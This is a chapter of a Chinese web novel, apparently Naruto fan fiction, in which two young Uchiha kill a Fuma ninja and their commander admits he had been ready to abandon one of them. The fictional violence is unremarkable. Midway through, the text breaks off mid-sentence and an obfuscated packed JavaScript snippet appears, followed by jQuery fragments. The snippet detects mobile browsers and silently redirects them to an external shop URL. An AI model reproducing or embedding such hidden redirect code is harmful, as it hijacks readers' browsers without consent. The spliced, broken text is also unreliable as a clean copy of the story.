第七章老子反手就是一刀
刹那只觉得这个家伙愚蠢到了极点。
他掐着镜的脖子,五指收紧,自以为扣住了人质就能让对面投鼠忌器。
但他没意识到,那只掐在镜喉咙上的手,同时也没法结印了。
哪怕他会单手结印——很多印单手根本结不出来,结出来的威力也要减半。
至于威胁?
刹那承认,他确实有点被威胁到了。
但也只是“有点”。
镜没有开写轮眼。
而这个风魔忍者从头到尾说的都是“拿一对写轮眼回去”——
他想要的是开了眼的宇智波,一个没开眼的六岁小孩,对他来说只是诱饵,不是战利品。
他舍得杀吗?
想通了这一点,刹那的手臂就动了。
风魔手里剑的残刃刷的一声脱手而出,旋转着朝风魔忍者的面门直飞过去。
刃口撕裂空气,发出刺耳的尖啸。
那风魔忍者冷哼了一声,侧身轻松躲过。
“就这——”
他的嘲讽刚开了个头,声音就断在了喉咙里。
一阵剧痛从手臂上炸开。
有什么东西刺穿了他的前臂,从桡骨和尺骨之间精准地穿过去。
那只掐着镜脖子的手瞬间失去了所有力气,五指一松,镜从半空中跌落在地。
风魔忍者猛地转过头。
他看到了另一个刹那用苦无捅穿了他的小臂。
是手里剑分身!
一个五岁的孩子,什么时候结的印?
“镜!”刹那的本体大喝一声。
镜刚一落地,听到刹那的呼唤,瞬间明白了他的意思。
他右手从腰后拔出苦无,用尽全身仅剩的力气,将苦无狠狠地捅进了风魔忍者的腹部。
刀刃刺穿了腹直肌,穿透腹膜,一路深入到腹腔内部。
与此同时,刹那的本体也动了。他从风魔忍者的背后冲上来,手中的苦无精准地捅进了对方的右后腰。
刃尖斜向上贯穿了肝脏,又从腹腔前方穿出,和镜捅进去的苦无几乎碰在了一起。
两把苦无,一前一后,将风魔忍者穿了个对穿。
鲜血从前后两个伤口同时涌出来,顺着苦无的握柄滴落在地上。
风魔忍者不可置信地低头,看着自己腹部一前一后两个血窟窿。
他的大脑用了整整一秒才处理完发生了什么。
他,一个在战场上摸爬滚打了十几年的老练忍者,在中立区伏击过宇智波运输队的斥候——
被两个孩子干掉了。
他甚至没有看到那个黑发小鬼是什么时候把手里剑换成分身的。
但他没有时间去想明白了。
他扭曲着脸,双手猛地合在一起。
十指纠缠,结出一个歪歪扭扭的印。
查克拉在他体内狂暴地翻涌起来,朝着丹田的方向汇聚,压缩,再压缩——他想自爆。
明白他的意图时,刹那瞪大了眼睛,想要喊镜一起撤退已经来不及了。
这个风魔忍者,要用最后的查克拉炸碎自己的经脉,和他们两个同归于尽。
“到此为止了。”
一个成年男性的声音在所有人头顶响起。
只见刀光一闪。
干净利落的一刀,从风魔忍者的脑后横切过去。
风魔忍者的头颅朝前坠去,只连着一层皮,身体僵直了半秒,然后轰然倒地。
自爆的查克拉在最后一刻消散了。
是岁火!
刹那和镜的眼里闪过劫后余生的惊喜。
岁火站在尸体旁边,三勾玉的写轮眼扫过全场,确认没有其他敌人之后,他才收刀入鞘。
“岁火大人!”镜兴奋地呼喊,那张满是血污和泥土的脸上绽开了一个真正属于六岁孩子的笑容。
岁火弯腰,一把将体力不支的镜抱起来。
小卷毛软塌塌地靠在他肩上,浑身的重量都压了过来。
“你做得很好。”岁火夸赞。
镜的眼睛亮了一下,然后终于撑不住,靠在岁火肩头。
刹那不爽地“切”了一声。
他双手抱臂,一勾玉的写轮眼冷冷地看着这一切。
他可不是镜那种六岁小孩。
他清楚地知道,岁火刚才撤退的时候是准备放弃镜的。
救大部队是第一优先级,单独落在敌群里的孩子只能自求多福——这是岁火自己说的。
现在回来救援,百分之八十是因为自己这个“族长一脉的独苗”折返回来了。
岁火不在乎镜的生死,但他在乎族长一脉的孩子死在他眼皮底下。
刹那看着靠在岁火肩头的镜。
他信任岁火,他相信这个大人是专程回来救他们两个的,相信是岁火救了他们。
刹那张了张嘴。
“……没什么。”
他把到嘴边的话咽了回去。
真相太残忍了,对一个刚捅了人生中第一刀的六岁小孩来说,让他知道带队上忍本来打算放弃他,不是什么好事。
岁火转过头,目光落在刹那身上。
他从上到下扫了刹那一遍,确认没有缺胳膊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567535|204817||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
少腿之后,开口道:“宇智波刹那,擅自脱离团队,把自己陷入危险之中。”
“晚饭没有了。”
刹那瞪着他。
半晌。
“切。”
岁火把刀收回鞘中,又看了一眼刹那的表情。短暂的沉默之后,他开口了。
“刹那,我不是要放弃镜。”
岁火的语气很平静:“风魔的伏击点不止一处。如果我们在原地缠斗过久,第二批伏兵会截断整条撤退路线。到时候就不是死一两个孩子的问题——是全队十五个孩子,连同物资,一个都走不掉。我要先确认剩下的孩子们和物资都到了安全位置,才能回头来搜救。”
“等你回头的搜救的时候,”刹那的声音很冷,“镜已经被折磨废了。手脚折断,眼睛被挖,生不如死。这就是你‘搜救’的结果?”
他说这话的时候一勾玉的写轮眼仍然亮着,那枚勾玉在猩红的虹膜里微微跳动。
岁火低头看了他一眼,说了一句让刹那完全没有预料到的话。
“保护大部分孩子更为优先。”
他就这么直白地承认了——是的,我选择保大多数,包括你在内。
刹那不可置信地看着他。
他没想到这个男人会把如此残酷的现实直接说出来。
岁火甚至没有放低音量,他说的每一个字,被他抱在怀里的镜都听得清清楚楚。
镜会怎么想?
他猛地转头看向镜。
镜趴在岁火怀里,小卷毛乱成一团,脸上又是血又是泥。
他的笑容在听到岁火那句话之后稍微收了一点,但没有消失。
他沉默了两个呼吸的时间,然后抬起头,认认真真地说:“能有我吸引风魔忍者,让大家撤退得更安全,这不算坏事。”
刹那刷地一下盯住他。
他的脑子里闪过一行字——宇智波镜,二十五岁,为同伴断后,战死。
一切都对上了,这个人从六岁开始就已经是这样了。他不是被岁月磨平了棱角,他天生就是这种会为别人去死的人。
刹那死死咬着牙,牙关咬得咯咯响。
他转身就走,脚下的腐叶被踩得吱嘎作响。
“我就不该管你。”
他头也不回地说。
镜愣了一下,他从岁火怀里挣扎着探出身子,朝着刹那的背影喊。
“谢谢你,刹那。”
“愿意回来救我。”
那个六岁孩子的声音在沾满血腥气的森林里回荡。
刹那没有回头。
“我才不是为了你。少自作多情了。”